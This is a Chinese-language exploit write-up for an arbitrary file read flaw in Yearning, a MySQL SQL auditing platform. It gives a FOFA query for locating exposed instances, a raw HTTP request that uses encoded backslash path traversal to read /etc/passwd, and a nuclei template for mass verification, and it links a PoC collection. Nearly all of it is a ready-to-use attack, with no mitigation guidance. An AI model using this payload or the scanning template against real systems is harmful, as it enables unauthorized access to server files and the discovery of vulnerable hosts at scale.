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漏洞描述

Yearning MYSQL SQL语句审核平台。提供查询审计，SQL审核，SQL回滚，自定义工作流等多种功能。该平台存在任意文件读取漏洞。

fofa语句

app="Yearning"

漏洞复现

打开页面

构造payload

GET /front/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd HTTP/1.1
Host: 
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept: */*
Connection: close
Accept-Encoding: gzip, deflate
Connection: close

nuclei批量验证

id: Yearning-file-reading

info:
  name: Yearning存在任意文件读取漏洞
  author: changge
  severity: high
  description: Yearning MYSQL SQL语句审核平台。提供查询审计，SQL审核，SQL回滚，自定义工作流等多种功能。该平台存在任意文件读取漏洞
  metadata:
    fofa-query: app="Yearning"


requests:
  - raw:
      - |
        GET /front/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
        Accept: */*
        Connection: Keep-Alive

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'root'
      - type: status
        status:
          - 200

github poc总汇地址：https://github.com/AYcg/poc